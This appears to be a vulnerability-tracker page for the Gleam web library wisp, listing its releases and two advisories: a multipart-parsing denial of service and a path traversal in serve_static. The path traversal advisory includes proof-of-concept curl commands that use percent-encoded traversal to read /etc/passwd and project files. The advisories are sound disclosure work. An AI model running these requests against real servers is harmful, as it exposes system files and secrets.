wisp

Version	Released
`2.2.2` patch	Mar 27, 2026
`2.2.1` patch 1 CVE	Mar 08, 2026
`2.2.0` minor 2 CVEs	Jan 16, 2026
`2.1.1` patch 2 CVEs	Dec 11, 2025
`2.1.0` minor 1 CVE	Oct 01, 2025
`2.0.1` patch 1 CVE	Sep 27, 2025
`2.0.0` major 1 CVE	Sep 04, 2025
`2.0.0-rc1` pre 1 CVE	Jul 24, 2025
`1.8.0` minor 1 CVE	Jun 20, 2025
`1.7.0` minor 1 CVE	May 13, 2025
`1.6.0` minor 1 CVE	Mar 21, 2025
`1.5.3` patch 1 CVE	Feb 06, 2025
`1.5.2` patch 1 CVE	Feb 03, 2025
`1.5.1` minor 1 CVE	Jan 02, 2025
`1.4.0` minor 1 CVE	Dec 19, 2024
`1.3.0` minor 1 CVE	Nov 27, 2024
`1.2.0` minor 1 CVE	Oct 09, 2024
`1.1.0` minor 1 CVE	Aug 23, 2024
`1.0.0` major 1 CVE	Aug 21, 2024
`0.16.0` minor 1 CVE	Jul 13, 2024
`0.15.0` minor 1 CVE	Jun 12, 2024
`0.14.0` minor 1 CVE	Mar 28, 2024
`0.13.0` minor 1 CVE	Mar 23, 2024
`0.12.0` minor 1 CVE	Feb 17, 2024
`0.11.0` minor 1 CVE	Feb 06, 2024
`0.10.0` minor 1 CVE	Jan 17, 2024
`0.9.0` minor 1 CVE	Jan 15, 2024
`0.8.0` minor 1 CVE	Nov 13, 2023
`0.7.0` minor 1 CVE	Nov 05, 2023
`0.6.0` minor 1 CVE	Oct 19, 2023
`0.5.0` minor 1 CVE	Sep 13, 2023
`0.4.0` minor 1 CVE	Aug 24, 2023
`0.3.0` minor 1 CVE	Aug 21, 2023
`0.2.0` minor 1 CVE	Aug 12, 2023
`0.1.0` initial 1 CVE	Jul 18, 2023

2.2.2 patch

Mar 27, 2026

2.2.1 patch

1 CVE

Mar 08, 2026

2.2.0 minor

2 CVEs

CVE-2026-32145 GHSA-8645-p2v4-73r2 EEF-CVE-2026-32145 Apr 03, 2026

wisp has Allocation of Resources Without Limits or Throttling

High

Network Low None None

Summary

A multipart form parsing bug allows any unauthenticated user to bypass configured request size limits and trigger a denial of service by exhausting server memory or disk.

Details

The issue is in the multipart parsing logic, specifically in multipart_body and multipart_headers.

When parsing multipart data, the implementation distinguishes between:

chunks where a boundary is found
chunks where more data is required

In the normal case (boundary found), the parser correctly accounts for consumed bytes by calling decrement_quota.

However, in the MoreRequiredForBody branch, the parser appends incoming data to the output but recurses without decrementing the quota. This means that any chunk that does not contain the multipart boundary is effectively “free” from a quota perspective. Only the final chunk, the one containing the boundary, is counted.

The same pattern exists in multipart_headers, where MoreRequiredForHeaders also recurses without decrementing the quota.

As a result, an attacker can send arbitrarily large multipart bodies split across many chunks that avoid the boundary. The parser will accumulate the data (in memory for form fields, on disk for file uploads) without enforcing max_body_size or max_files_size.

Impact

This is a denial of service vulnerability caused by uncontrolled resource consumption.

Any application using require_form or require_multipart_form on user-controlled input is affected. An unauthenticated attacker can send large multipart requests that bypass configured limits and cause:

memory exhaustion (for form fields accumulated in memory)
disk exhaustion (for file uploads written to temporary storage)

In both cases, the application may become unavailable or be terminated by the operating system.

Workaround

Deploy a reverse proxy (such as nginx or HAProxy) in front of the application and enforce request body size limits there. This ensures large multipart requests are rejected before they reach the vulnerable parser.

Resources

Introducing commit: https://github.com/gleam-wisp/wisp/commit/d8e722e22ccb42bda9d0b6248658d37ab4e9b376
Fix commit: https://github.com/gleam-wisp/wisp/commit/7a978748e12ab29db232c222254465890e1a4a90

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.2.0


          0.3.0


          0.4.0


          0.5.0

+ 22 more


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            1.0.0


            1.1.0


            1.2.0


            1.3.0


            1.4.0


            1.5.1


            1.5.2


            1.5.3


            1.6.0


            1.7.0


            1.8.0


            2.0.0


            2.0.0-rc1


            2.0.1


            2.1.0


            2.1.1


            2.2.0


            2.2.1

Fixed in


          2.2.2

References

Updated Apr 06, 2026 · Source: OSV.dev

CVE-2026-28807 GHSA-h7cj-j2vv-qw8r EEF-CVE-2026-28807 Mar 11, 2026

Wisp Vulnerable to Path Traversal

High

Network Low None None

Summary

wisp.serve_static is vulnerable to arbitrary file read via percent-encoded path traversal (%2e%2e). The directory traversal sanitization runs before percent-decoding, allowing encoded .. sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.

Details

In src/wisp.gleam, serve_static processes the request path in this order:

let path =
  path
  |> string.drop_start(string.length(prefix))
  |> string.replace(each: "..", with: "")   // Step 1: sanitize
  |> filepath.join(directory, _)

let path = case uri.percent_decode(path) {  // Step 2: decode
  Ok(p) -> p
  Error(_) -> path
}

Sanitization (step 1) strips literal .. but runs before percent-decoding (step 2). The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

PoC

Any application using wisp.serve_static:

fn handle_request(req: wisp.Request) -> wisp.Response {
  use <- wisp.serve_static(req, under: "/static", from: priv_directory())
  wisp.not_found()
}

Exploit (requires --path-as-is to prevent client-side normalization):

# Read /etc/passwd
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# Read project source code
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"

# Read project config
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"

Impact

This is a path traversal / arbitrary file read vulnerability (CWE-22). Any application using wisp.serve_static is affected. An unauthenticated attacker can read:

Application source code
Configuration and secrets in priv/
.env files, secret_key_base, private keys
System files (/etc/passwd, /etc/shadow if permissions allow)

Workaround

Copy the fixed implementation to your codebase and replace references to wisp.serve_static with this version in your codebase.

References

Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550
Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93

Affected versions


          2.1.1


          2.2.0

Fixed in


          2.2.1

References

Updated Jun 08, 2026 · Source: OSV.dev

Jan 16, 2026

2.1.1 patch

2 CVEs

CVE-2026-32145 GHSA-8645-p2v4-73r2 EEF-CVE-2026-32145 Apr 03, 2026

wisp has Allocation of Resources Without Limits or Throttling

High

Network Low None None

Summary

A multipart form parsing bug allows any unauthenticated user to bypass configured request size limits and trigger a denial of service by exhausting server memory or disk.

Details

The issue is in the multipart parsing logic, specifically in multipart_body and multipart_headers.

When parsing multipart data, the implementation distinguishes between:

chunks where a boundary is found
chunks where more data is required

In the normal case (boundary found), the parser correctly accounts for consumed bytes by calling decrement_quota.

However, in the MoreRequiredForBody branch, the parser appends incoming data to the output but recurses without decrementing the quota. This means that any chunk that does not contain the multipart boundary is effectively “free” from a quota perspective. Only the final chunk, the one containing the boundary, is counted.

The same pattern exists in multipart_headers, where MoreRequiredForHeaders also recurses without decrementing the quota.

As a result, an attacker can send arbitrarily large multipart bodies split across many chunks that avoid the boundary. The parser will accumulate the data (in memory for form fields, on disk for file uploads) without enforcing max_body_size or max_files_size.

Impact

This is a denial of service vulnerability caused by uncontrolled resource consumption.

Any application using require_form or require_multipart_form on user-controlled input is affected. An unauthenticated attacker can send large multipart requests that bypass configured limits and cause:

memory exhaustion (for form fields accumulated in memory)
disk exhaustion (for file uploads written to temporary storage)

In both cases, the application may become unavailable or be terminated by the operating system.

Workaround

Deploy a reverse proxy (such as nginx or HAProxy) in front of the application and enforce request body size limits there. This ensures large multipart requests are rejected before they reach the vulnerable parser.

Resources

Introducing commit: https://github.com/gleam-wisp/wisp/commit/d8e722e22ccb42bda9d0b6248658d37ab4e9b376
Fix commit: https://github.com/gleam-wisp/wisp/commit/7a978748e12ab29db232c222254465890e1a4a90

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.2.0


          0.3.0


          0.4.0


          0.5.0

+ 22 more


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            1.0.0


            1.1.0


            1.2.0


            1.3.0


            1.4.0


            1.5.1


            1.5.2


            1.5.3


            1.6.0


            1.7.0


            1.8.0


            2.0.0


            2.0.0-rc1


            2.0.1


            2.1.0


            2.1.1


            2.2.0


            2.2.1

Fixed in


          2.2.2

References

Updated Apr 06, 2026 · Source: OSV.dev

CVE-2026-28807 GHSA-h7cj-j2vv-qw8r EEF-CVE-2026-28807 Mar 11, 2026

Wisp Vulnerable to Path Traversal

High

Network Low None None

Summary

wisp.serve_static is vulnerable to arbitrary file read via percent-encoded path traversal (%2e%2e). The directory traversal sanitization runs before percent-decoding, allowing encoded .. sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.

Details

In src/wisp.gleam, serve_static processes the request path in this order:

let path =
  path
  |> string.drop_start(string.length(prefix))
  |> string.replace(each: "..", with: "")   // Step 1: sanitize
  |> filepath.join(directory, _)

let path = case uri.percent_decode(path) {  // Step 2: decode
  Ok(p) -> p
  Error(_) -> path
}

Sanitization (step 1) strips literal .. but runs before percent-decoding (step 2). The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

PoC

Any application using wisp.serve_static:

fn handle_request(req: wisp.Request) -> wisp.Response {
  use <- wisp.serve_static(req, under: "/static", from: priv_directory())
  wisp.not_found()
}

Exploit (requires --path-as-is to prevent client-side normalization):

# Read /etc/passwd
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# Read project source code
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"

# Read project config
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"

Impact

This is a path traversal / arbitrary file read vulnerability (CWE-22). Any application using wisp.serve_static is affected. An unauthenticated attacker can read:

Application source code
Configuration and secrets in priv/
.env files, secret_key_base, private keys
System files (/etc/passwd, /etc/shadow if permissions allow)

Workaround

Copy the fixed implementation to your codebase and replace references to wisp.serve_static with this version in your codebase.

References

Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550
Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93

Affected versions


          2.1.1


          2.2.0

Fixed in


          2.2.1

References

Updated Jun 08, 2026 · Source: OSV.dev

Dec 11, 2025

2.1.0 minor

1 CVE

Oct 01, 2025

2.0.1 patch

1 CVE

Sep 27, 2025

2.0.0 major

1 CVE

Sep 04, 2025

2.0.0-rc1 pre

1 CVE

Jul 24, 2025

1.8.0 minor

1 CVE

Jun 20, 2025

1.7.0 minor

1 CVE

May 13, 2025

1.6.0 minor

1 CVE

Mar 21, 2025

1.5.3 patch

1 CVE

Feb 06, 2025

1.5.2 patch

1 CVE

Feb 03, 2025

1.5.1 minor

1 CVE

Jan 02, 2025

1.4.0 minor

1 CVE

Dec 19, 2024

1.3.0 minor

1 CVE

Nov 27, 2024

1.2.0 minor

1 CVE

Oct 09, 2024

1.1.0 minor

1 CVE

Aug 23, 2024

1.0.0 major

1 CVE

Aug 21, 2024

0.16.0 minor

1 CVE

Jul 13, 2024

0.15.0 minor

1 CVE

Jun 12, 2024

0.14.0 minor

1 CVE

Mar 28, 2024

0.13.0 minor

1 CVE

Mar 23, 2024

0.12.0 minor

1 CVE

Feb 17, 2024

0.11.0 minor

1 CVE

Feb 06, 2024

0.10.0 minor

1 CVE

Jan 17, 2024

0.9.0 minor

1 CVE

Jan 15, 2024

0.8.0 minor

1 CVE

Nov 13, 2023

0.7.0 minor

1 CVE

Nov 05, 2023

0.6.0 minor

1 CVE

Oct 19, 2023

0.5.0 minor

1 CVE

Sep 13, 2023

0.4.0 minor

1 CVE

Aug 24, 2023

0.3.0 minor

1 CVE

Aug 21, 2023

0.2.0 minor

1 CVE

Aug 12, 2023

0.1.0 initial

1 CVE

Jul 18, 2023

Activity

Details